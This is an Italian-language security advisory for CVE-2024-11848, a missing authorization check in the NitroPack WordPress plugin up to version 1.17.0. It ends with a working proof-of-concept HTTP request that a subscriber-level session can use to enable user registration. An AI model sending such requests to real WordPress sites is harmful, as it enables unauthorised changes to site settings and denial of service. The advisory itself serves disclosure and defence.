CVE-2024-11848

NitroPack <= 1.17.0 - Autorizzazione mancante per l'aggiornamento limitato delle opzioni da parte di utenti autenticati (Subscriber+)

Descrizione

Il plugin NitroPack per WordPress è vulnerabile alla modifica non autorizzata dei dati a causa di un controllo delle capacità mancante sull'azione AJAX 'nitropack_dismiss_notice_forever' in tutte le versioni fino alla 1.17.0 inclusa. Ciò rende possibile ad attaccanti autenticati, con accesso a livello di Subscriber o superiore, di aggiornare opzioni arbitrarie a un valore fisso di '1', il che può attivare determinate opzioni (ad es., abilitare la registrazione degli utenti) o modificare determinate opzioni in un modo che porta a una condizione di denial of service.

Dettagli

• Tipo: plugin
• Slug: nitropack
• Versione interessata: 1.17.0
• Punteggio CVSS: 8.1
• Gravità CVSS: Alta
• Vettore CVSS: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H
• CVE: CVE-2024-11848
• Stato: Attivo

POC

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: kubernetes.docker.internal:8929
Content-Type: application/x-www-form-urlencoded
Cookie: wordpress_logged_in_f0174336378e6db874da2237e8c05ac1=subscriber%7C1737110766%7CYhdLxJv5qLyqmSVznKzPOC94NyU9PAMWPeef9cCtINN%7C8c6d11f15397dfb790e700f695c7480bb8267c86130c402afce6080076ccff2d
Content-Length: 88

action=nitropack_dismiss_notice_forever&security=92f60ea3ea&notice_id=users_can_register